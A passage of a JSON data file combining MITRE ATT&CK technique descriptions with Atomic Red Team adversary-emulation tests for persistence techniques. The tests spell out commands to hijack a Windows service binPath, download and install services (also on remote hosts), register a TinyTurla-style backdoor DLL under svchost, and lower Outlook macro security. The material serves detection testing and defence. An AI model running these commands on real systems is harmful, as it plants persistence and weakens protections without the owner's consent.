- ],
- "modified": "2020-10-22T16:35:53.806Z",
- "name": "TFTP Boot",
- "description": "Adversaries may abuse netbooting to load an unauthorized network device operating system from a Trivial File Transfer Protocol (TFTP) server. TFTP boot (netbooting) is commonly used by network administrators to load configuration-controlled network device images from a centralized management server. Netbooting is one option in the boot sequence and can be used to centralize, manage, and control device images.\n\nAdversaries may manipulate the configuration on the network device specifying use of a malicious TFTP server, which may be used in conjunction with [Modify System Image](https://attack.mitre.org/techniques/T1601) to load a modified image on device startup or reset. The unauthorized image allows adversaries to modify device configuration, add malicious capabilities to the device, and introduce backdoors to maintain control of the network device while minimizing detection through use of a standard functionality. This technique is similar to [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) and may result in the network device running a modified image. (Citation: Cisco Blog Legacy Device Attacks)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "Consider comparing a copy of the network device configuration and system image against a known-good version to discover unauthorized changes to system boot, startup configuration, or the running OS. (Citation: Cisco IOS Software Integrity Assurance - Secure Boot) (Citation: Cisco IOS Software Integrity Assurance - Image File Verification)The same process can be accomplished through a comparison of the run-time memory, though this is non-trivial and may require assistance from the vendor. (Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)\n\nReview command history in either the console or as part of the running memory to determine if unauthorized or suspicious commands were used to modify device configuration. (Citation: Cisco IOS Software Integrity Assurance - Command History) Check boot information including system uptime, image booted, and startup configuration to determine if results are consistent with expected behavior in the environment. (Citation: Cisco IOS Software Integrity Assurance - Boot Information) Monitor unusual connections or connection attempts to the device that may specifically target TFTP or other file-sharing protocols.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Network Traffic: Network Connection Creation",
- "Command: Command Execution",
- "Firmware: Firmware Modification"
- ],
- "x_mitre_permissions_required": [
- "Administrator"
- ]
- },
- "atomic_tests": []
- },
- "T1543.003": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Matthew Demaske, Adaptforward",
- "Pedro Harrison",
- "Mayuresh Dani, Qualys",
- "Wietze Beukema, @wietze",
- "Akshat Pradhan, Qualys"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32",
- "created": "2020-01-17T19:13:50.402Z",
- "x_mitre_version": "1.2",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1543.003",
- "url": "https://attack.mitre.org/techniques/T1543/003"
- },
- {
- "source_name": "Microsoft Windows Event Forwarding FEB 2018",
- "url": "https://docs.microsoft.com/windows/security/threat-protection/use-windows-event-forwarding-to-assist-in-intrusion-detection",
- "description": "Hardy, T. & Hall, J. (2018, February 15). Use Windows Event Forwarding to help with intrusion detection. Retrieved August 7, 2018."
- },
- {
- "source_name": "ESET InvisiMole June 2020",
- "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf",
- "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."
- },
- {
- "source_name": "TechNet Services",
- "url": "https://technet.microsoft.com/en-us/library/cc772408.aspx",
- "description": "Microsoft. (n.d.). Services. Retrieved June 7, 2016."
- },
- {
- "source_name": "Microsoft 4697 APR 2017",
- "url": "https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4697",
- "description": "Miroshnikov, A. & Hall, J. (2017, April 18). 4697(S): A service was installed in the system. Retrieved August 7, 2018."
- },
- {
- "source_name": "Symantec W.32 Stuxnet Dossier",
- "url": "https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf",
- "description": "Nicolas Falliere, Liam O. Murchu, Eric Chien. (2011, February). W32.Stuxnet Dossier. Retrieved December 7, 2020."
- },
- {
- "source_name": "Unit42 AcidBox June 2020",
- "url": "https://unit42.paloaltonetworks.com/acidbox-rare-malware/",
- "description": "Reichel, D. and Idrizovic, E. (2020, June 17). AcidBox: Rare Malware Repurposing Turla Group Exploit Targeted Russian Organizations. Retrieved March 16, 2021."
- },
- {
- "source_name": "TechNet Autoruns",
- "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902",
- "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016."
- },
- {
- "source_name": "Crowdstrike DriveSlayer February 2022",
- "url": "https://www.crowdstrike.com/blog/how-crowdstrike-falcon-protects-against-wiper-malware-used-in-ukraine-attacks/",
- "description": "Thomas, W. et al. (2022, February 25). CrowdStrike Falcon Protects from New Wiper Malware Used in Ukraine Cyberattacks. Retrieved March 25, 2022."
- },
- {
- "url": "https://capec.mitre.org/data/definitions/478.html",
- "source_name": "capec",
- "external_id": "CAPEC-478"
- },
- {
- "url": "https://capec.mitre.org/data/definitions/550.html",
- "source_name": "capec",
- "external_id": "CAPEC-550"
- },
- {
- "url": "https://capec.mitre.org/data/definitions/551.html",
- "source_name": "capec",
- "external_id": "CAPEC-551"
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.(Citation: TechNet Services) Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.\n\nAdversaries may install a new service or modify an existing service to execute at startup in order to persist on a system. Service configurations can be set or modified using system utilities (such as sc.exe), by directly modifying the Registry, or by interacting directly with the Windows API. \n\nAdversaries may also use services to install and execute malicious drivers. For example, after dropping a driver file (ex: `.sys`) to disk, the payload can be loaded and registered via [Native API](https://attack.mitre.org/techniques/T1106) functions such as `CreateServiceW()` (or manually via functions such as `ZwLoadDriver()` and `ZwSetValueKey()`), by creating the required service Registry values (i.e. [Modify Registry](https://attack.mitre.org/techniques/T1112)), or by using command-line utilities such as `PnPUtil.exe`.(Citation: Symantec W.32 Stuxnet Dossier)(Citation: Crowdstrike DriveSlayer February 2022)(Citation: Unit42 AcidBox June 2020) Adversaries may leverage these drivers as [Rootkit](https://attack.mitre.org/techniques/T1014)s to hide the presence of malicious activity on a system. Adversaries may also load a signed yet vulnerable driver onto a compromised machine (known as \"Bring Your Own Vulnerable Driver\" (BYOVD)) as part of [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).(Citation: ESET InvisiMole June 2020)(Citation: Unit42 AcidBox June 2020)\n\nServices may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges. Adversaries may also directly start services through [Service Execution](https://attack.mitre.org/techniques/T1569/002). To make detection analysis more challenging, malicious services may also incorporate [Masquerade Task or Service](https://attack.mitre.org/techniques/T1036/004) (ex: using a service and/or payload name related to a legitimate OS or benign software component).",
- "modified": "2022-05-20T16:22:32.605Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Create or Modify System Process: Windows Service",
- "x_mitre_detection": "Monitor processes and command-line arguments for actions that could create or modify services. Command-line invocation of tools capable of adding or modifying services may be unusual, depending on how systems are typically used in a particular environment. Services may also be modified through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data. Remote access tools with built-in features may also interact directly with the Windows API to perform these functions outside of typical system utilities. Collect service utility execution and service binary path arguments used for analysis. Service binary paths may even be changed to execute commands or scripts. \n\nLook for changes to service Registry entries that do not correlate with known software, patch cycles, etc. Service information is stored in the Registry at HKLM\\SYSTEM\\CurrentControlSet\\Services
. Changes to the binary path and the service startup type changed from manual or disabled to automatic, if it does not typically do so, may be suspicious. Tools such as Sysinternals Autoruns may also be used to detect system service changes that could be attempts at persistence.(Citation: TechNet Autoruns) \n\nCreation of new services may generate an alterable event (ex: Event ID 4697 and/or 7045 (Citation: Microsoft 4697 APR 2017)(Citation: Microsoft Windows Event Forwarding FEB 2018)). New, benign services may be created during installation of new software.\n\nSuspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data. Look for abnormal process call trees from known services and for execution of other commands that could relate to Discovery or other adversary techniques. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "Windows Registry: Windows Registry Key Modification",
- "Driver: Driver Load",
- "Service: Service Creation",
- "Windows Registry: Windows Registry Key Creation",
- "Service: Service Modification",
- "Process: OS API Execution",
- "Command: Command Execution",
- "Process: Process Creation"
- ],
- "x_mitre_effective_permissions": [
- "Administrator",
- "SYSTEM"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1543.003"
- },
- "atomic_tests": [
- {
- "name": "Modify Fax service to run PowerShell",
- "auto_generated_guid": "ed366cde-7d12-49df-a833-671904770b9f",
- "description": "This test will temporarily modify the service Fax by changing the binPath to PowerShell\nand will then revert the binPath change, restoring Fax to its original state.\nUpon successful execution, cmd will modify the binpath for `Fax` to spawn powershell. Powershell will then spawn.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "name": "command_prompt",
- "elevation_required": true,
- "command": "sc config Fax binPath= \"C:\\windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe -noexit -c \\\"write-host 'T1543.003 Test'\\\"\"\nsc start Fax\n",
- "cleanup_command": "sc config Fax binPath= \"C:\\WINDOWS\\system32\\fxssvc.exe\" >nul 2>&1"
- }
- },
- {
- "name": "Service Installation CMD",
- "auto_generated_guid": "981e2942-e433-44e9-afc1-8c957a1496b6",
- "description": "Download an executable from github and start it as a service.\nUpon successful execution, powershell will download `AtomicService.exe` from github. cmd.exe will spawn sc.exe which will create and start the service. Results will output via stdout.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "binary_path": {
- "description": "Name of the service binary, include path.",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1543.003\\bin\\AtomicService.exe"
- },
- "service_type": {
- "description": "Type of service. May be own|share|interact|kernel|filesys|rec|userown|usershare",
- "type": "String",
- "default": "Own"
- },
- "startup_type": {
- "description": "Service start method. May be boot|system|auto|demand|disabled|delayed-auto",
- "type": "String",
- "default": "auto"
- },
- "service_name": {
- "description": "Name of the Service",
- "type": "string",
- "default": "AtomicTestService_CMD"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Service binary must exist on disk at specified location (#{binary_path})\n",
- "prereq_command": "if (Test-Path #{binary_path}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{binary_path}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1543.003/bin/AtomicService.exe\" -OutFile \"#{binary_path}\"\n"
- }
- ],
- "executor": {
- "name": "command_prompt",
- "elevation_required": true,
- "command": "sc.exe create #{service_name} binPath= #{binary_path} start=#{startup_type} type=#{service_type}\nsc.exe start #{service_name}\n",
- "cleanup_command": "sc.exe stop #{service_name} >nul 2>&1\nsc.exe delete #{service_name} >nul 2>&1\n"
- }
- },
- {
- "name": "Service Installation PowerShell",
- "auto_generated_guid": "491a4af6-a521-4b74-b23b-f7b3f1ee9e77",
- "description": "Installs A Local Service via PowerShell.\nUpon successful execution, powershell will download `AtomicService.exe` from github. Powershell will then use `New-Service` and `Start-Service` to start service. Results will be displayed.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "binary_path": {
- "description": "Name of the service binary, include path.",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1543.003\\bin\\AtomicService.exe"
- },
- "service_name": {
- "description": "Name of the Service",
- "type": "string",
- "default": "AtomicTestService_PowerShell"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Service binary must exist on disk at specified location (#{binary_path})\n",
- "prereq_command": "if (Test-Path #{binary_path}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{binary_path}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1543.003/bin/AtomicService.exe\" -OutFile \"#{binary_path}\"\n"
- }
- ],
- "executor": {
- "name": "powershell",
- "elevation_required": true,
- "command": "New-Service -Name \"#{service_name}\" -BinaryPathName \"#{binary_path}\"\nStart-Service -Name \"#{service_name}\"\n",
- "cleanup_command": "Stop-Service -Name \"#{service_name}\" 2>&1 | Out-Null\ntry {(Get-WmiObject Win32_Service -filter \"name='#{service_name}'\").Delete()}\ncatch {}\n"
- }
- },
- {
- "name": "TinyTurla backdoor service w64time",
- "auto_generated_guid": "ef0581fd-528e-4662-87bc-4c2affb86940",
- "description": "It's running Dll as service to emulate the TinyTurla backdoor\n\n[Related Talos Blog](https://blog.talosintelligence.com/2021/09/tinyturla.html)\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "dllfilename": {
- "description": "It specifies Dll file to run as service",
- "type": "string",
- "default": "$PathToAtomicsFolder\\T1543.003\\bin\\w64time.dll"
- }
- },
- "executor": {
- "command": "copy #{dllfilename} %systemroot%\\system32\\\nsc create W64Time binPath= \"c:\\Windows\\System32\\svchost.exe -k TimeService\" type= share start=auto\nsc config W64Time DisplayName= \"Windows 64 Time\"\nsc description W64Time \"Maintain date and time synch on all clients and services in the network\"\nreg add \"HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Svchost\" /v TimeService /t REG_MULTI_SZ /d \"W64Time\" /f\nreg add \"HKLM\\SYSTEM\\CurrentControlSet\\Services\\W64Time\\Parameters\" /v ServiceDll /t REG_EXPAND_SZ /d \"%systemroot%\\system32\\w64time.dll\" /f\nsc start W64Time",
- "cleanup_command": "sc stop W64Time\nsc.exe delete W64Time\ndel %systemroot%\\system32\\w64time.dll\nreg delete \"HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Svchost\" /v TimeService /f\nreg delete \"HKLM\\SYSTEM\\CurrentControlSet\\Services\\W64Time\\Parameters\" /v ServiceDll /f",
- "name": "command_prompt",
- "elevation_required": true
- }
- },
- {
- "name": "Remote Service Installation CMD",
- "auto_generated_guid": "fb4151a2-db33-4f8c-b7f8-78ea8790f961",
- "description": "Download an executable from github and start it as a service on a remote endpoint\nUpon successful execution, powershell will download `AtomicService.exe` from github. cmd.exe will spawn sc.exe which will create and start the service. Results will output via stdout.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "binary_path": {
- "description": "Name of the service binary, include path.",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1543.003\\bin\\AtomicService.exe"
- },
- "service_type": {
- "description": "Type of service. May be own,share,interact,kernel,filesys,rec,userown,usershare",
- "type": "String",
- "default": "Own"
- },
- "startup_type": {
- "description": "Service start method. May be boot,system,auto,demand,disabled,delayed-auto",
- "type": "String",
- "default": "auto"
- },
- "service_name": {
- "description": "Name of the Service",
- "type": "string",
- "default": "AtomicTestService_CMD"
- },
- "remote_host": {
- "description": "Name of the remote endpoint",
- "type": "string",
- "default": "localhost"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Service binary must exist on disk at specified location (#{binary_path})\n",
- "prereq_command": "if (Test-Path #{binary_path}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{binary_path}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1543.003/bin/AtomicService.exe\" -OutFile \"#{binary_path}\"\n"
- }
- ],
- "executor": {
- "name": "command_prompt",
- "elevation_required": true,
- "command": "sc.exe \\\\#{remote_host} create #{service_name} binPath= #{binary_path} start=#{startup_type} type=#{service_type}\nsc.exe \\\\#{remote_host} start #{service_name}\n",
- "cleanup_command": "sc.exe \\\\#{remote_host} stop #{service_name} >nul 2>&1\nsc.exe \\\\#{remote_host} delete #{service_name} >nul 2>&1"
- }
- }
- ]
- },
- "T1053.003": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--2acf44aa-542f-4366-b4eb-55ef5747759c",
- "type": "attack-pattern",
- "created": "2019-12-03T14:25:00.538Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1053.003",
- "url": "https://attack.mitre.org/techniques/T1053/003"
- },
- {
- "source_name": "20 macOS Common Tools and Techniques",
- "url": "https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/",
- "description": "Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021."
- }
- ],
- "modified": "2022-03-24T17:33:03.443Z",
- "name": "Scheduled Task/Job: Cron",
- "description": "Adversaries may abuse the cron
utility to perform task scheduling for initial or recurring execution of malicious code.(Citation: 20 macOS Common Tools and Techniques) The cron
utility is a time-based job scheduler for Unix-like operating systems. The crontab
file contains the schedule of cron entries to be run and the specified times for execution. Any crontab
files are stored in operating system-specific file paths.\n\nAn adversary may use cron
in Linux or Unix environments to execute programs at system startup or on a scheduled basis for [Persistence](https://attack.mitre.org/tactics/TA0003). ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "execution"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \n\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. ",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Command: Command Execution",
- "Scheduled Job: Scheduled Job Creation",
- "File: File Modification",
- "Process: Process Creation"
- ],
- "x_mitre_permissions_required": [
- "User"
- ],
- "identifier": "T1053.003"
- },
- "atomic_tests": []
- },
- "T1165": {
- "technique": {
- "x_mitre_platforms": [
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--2ba5aa71-9d15-4b22-b726-56af06d9ad2f",
- "type": "attack-pattern",
- "created": "2017-12-14T16:46:06.044Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1165",
- "url": "https://attack.mitre.org/techniques/T1165"
- },
- {
- "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html",
- "description": "Apple. (2016, September 13). Startup Items. Retrieved July 11, 2017.",
- "source_name": "Startup Items"
- },
- {
- "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf",
- "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
- "source_name": "Methods of Mac Malware Persistence"
- }
- ],
- "modified": "2020-01-15T18:02:49.891Z",
- "name": "Startup Items",
- "description": "Per Apple\u2019s documentation, startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items (Citation: Startup Items). This is technically a deprecated version (superseded by Launch Daemons), and thus the appropriate folder, /Library/StartupItems
isn\u2019t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), StartupParameters.plist
, reside in the top-level directory. \n\nAn adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism (Citation: Methods of Mac Malware Persistence). Additionally, since StartupItems run during the bootup phase of macOS, they will run as root. If an adversary is able to modify an existing Startup Item, then they will be able to Privilege Escalate as well.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "The /Library/StartupItems
folder can be monitored for changes. Similarly, the programs that are actually executed from this mechanism should be checked against a whitelist. Monitor processes that are executed during the bootup process to check for unusual or unknown applications and behavior.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "Administrator"
- ],
- "x_mitre_effective_permissions": [
- "root"
- ]
- },
- "atomic_tests": []
- },
- "T1137": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "Office 365"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Nick Carr, Mandiant",
- "Microsoft Threat Intelligence Center (MSTIC)",
- "Sahar Shukrun",
- "Praetorian",
- "Loic Jaquemet",
- "Ricardo Dias"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53",
- "type": "attack-pattern",
- "created": "2017-12-14T16:46:06.044Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1137",
- "url": "https://attack.mitre.org/techniques/T1137"
- },
- {
- "source_name": "SensePost Ruler GitHub",
- "url": "https://github.com/sensepost/ruler",
- "description": "SensePost. (2016, August 18). Ruler: A tool to abuse Exchange services. Retrieved February 4, 2019."
- },
- {
- "source_name": "TechNet O365 Outlook Rules",
- "url": "https://blogs.technet.microsoft.com/office365security/defending-against-rules-and-forms-injection/",
- "description": "Koeller, B.. (2018, February 21). Defending Against Rules and Forms Injection. Retrieved November 5, 2019."
- },
- {
- "source_name": "CrowdStrike Outlook Forms",
- "url": "https://malware.news/t/using-outlook-forms-for-lateral-movement-and-persistence/13746",
- "description": "Parisi, T., et al. (2017, July). Using Outlook Forms for Lateral Movement and Persistence. Retrieved February 5, 2019."
- },
- {
- "source_name": "Outlook Today Home Page",
- "url": "https://medium.com/@bwtech789/outlook-today-homepage-persistence-33ea9b505943",
- "description": "Soutcast. (2018, September 14). Outlook Today Homepage Persistence. Retrieved February 5, 2019."
- },
- {
- "source_name": "Microsoft Detect Outlook Forms",
- "url": "https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack",
- "description": "Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook Rules and Custom Forms Injections Attacks in Office 365. Retrieved February 4, 2019."
- },
- {
- "source_name": "SensePost NotRuler",
- "url": "https://github.com/sensepost/notruler",
- "description": "SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019."
- }
- ],
- "modified": "2021-10-15T20:18:31.112Z",
- "name": "Office Application Startup",
- "description": "Adversaries may leverage Microsoft Office-based applications for persistence between startups. Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network. There are multiple mechanisms that can be used with Office for persistence when an Office-based application is started; this can include the use of Office Template Macros and add-ins.\n\nA variety of features have been discovered in Outlook that can be abused to obtain persistence, such as Outlook rules, forms, and Home Page.(Citation: SensePost Ruler GitHub) These persistence mechanisms can work within Outlook or be used through Office 365.(Citation: TechNet O365 Outlook Rules)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior. If winword.exe is the parent process for suspicious processes and activity relating to other adversarial techniques, then it could indicate that the application was used maliciously.\n\nMany Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence.(Citation: CrowdStrike Outlook Forms)(Citation: Outlook Today Home Page)\n\nMicrosoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)",
- "x_mitre_version": "1.3",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Windows Registry: Windows Registry Key Creation",
- "File: File Modification",
- "File: File Creation",
- "Windows Registry: Windows Registry Key Modification",
- "Module: Module Load",
- "Process: Process Creation",
- "Application Log: Application Log Content",
- "Command: Command Execution"
- ],
- "x_mitre_permissions_required": [
- "User",
- "Administrator"
- ],
- "identifier": "T1137"
- },
- "atomic_tests": [
- {
- "name": "Office Application Startup - Outlook as a C2",
- "auto_generated_guid": "bfe6ac15-c50b-4c4f-a186-0fc6b8ba936c",
- "description": "As outlined in MDSEC's Blog post https://www.mdsec.co.uk/2020/11/a-fresh-outlook-on-mail-based-persistence/ \nit is possible to use Outlook Macro as a way to achieve persistance and execute arbitrary commands. This transform Outlook into a C2.\nToo achieve this two things must happened on the syste\n- The macro security registry value must be set to '4'\n- A file called VbaProject.OTM must be created in the Outlook Folder.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "reg add \"HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Security\\Level\" /t REG_DWORD /d 1 /f\nmkdir %APPDATA%\\Microsoft\\Outlook\\ >nul 2>&1\necho \"Atomic Red Team TEST\" > %APPDATA%\\Microsoft\\Outlook\\VbaProject.OTM\n",
- "cleanup_command": "reg delete \"HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Security\\Level\" /f >nul 2>&1\ndel %APPDATA%\\Microsoft\\Outlook\\VbaProject.OTM >nul 2>&1\n",
- "name": "command_prompt"
- }
- }
- ]
- },
- "T1098.003": {
- "technique": {
- "x_mitre_platforms": [
- "Office 365",
- "IaaS",
- "SaaS",
- "Google Workspace",
- "Azure AD"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Microsoft Threat Intelligence Center (MSTIC)",
- "Alex Parsons, Crowdstrike",
- "Chris Romano, Crowdstrike",
- "Wojciech Lesicki",
- "Pi\u00e0 Consigny, Tenable",
- "Cl\u00e9ment Notin, Tenable"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--2dbbdcd5-92cf-44c0-aea2-fe24783a6bc3",
- "created": "2020-01-19T16:59:45.362Z",
- "x_mitre_version": "2.0",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1098.003",
- "url": "https://attack.mitre.org/techniques/T1098/003"
- },
- {
- "source_name": "Expel AWS Attacker",
- "url": "https://expel.com/blog/incident-report-from-cli-to-console-chasing-an-attacker-in-aws/",
- "description": " Brian Bahtiarian, David Blanton, Britton Manahan and Kyle Pellett. (2022, April 5). Incident report: From CLI to console, chasing an attacker in AWS. Retrieved April 7, 2022."
- },
- {
- "source_name": "Microsoft O365 Admin Roles",
- "url": "https://docs.microsoft.com/en-us/office365/admin/add-users/about-admin-roles?view=o365-worldwide",
- "description": "Ako-Adjei, K., Dickhaus, M., Baumgartner, P., Faigel, D., et. al.. (2019, October 8). About admin roles. Retrieved October 18, 2019."
- },
- {
- "source_name": "SpecterOps Azure Privilege Escalation",
- "url": "https://posts.specterops.io/azure-privilege-escalation-via-service-principal-abuse-210ae2be2a5",
- "description": "Andy Robbins. (2021, October 12). Azure Privilege Escalation via Service Principal Abuse. Retrieved April 1, 2022."
- },
- {
- "source_name": "AWS IAM Policies and Permissions",
- "url": "https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies.html",
- "description": "AWS. (n.d.). Policies and permissions in IAM. Retrieved April 1, 2022."
- },
- {
- "source_name": "Google Cloud IAM Policies",
- "url": "https://cloud.google.com/iam/docs/policies",
- "description": "Google Cloud. (2022, March 31). Understanding policies. Retrieved April 1, 2022."
- },
- {
- "source_name": "Microsoft Support O365 Add Another Admin, October 2019",
- "url": "https://support.office.com/en-us/article/add-another-admin-f693489f-9f55-4bd0-a637-a81ce93de22d",
- "description": "Microsoft. (n.d.). Add Another Admin. Retrieved October 18, 2019."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
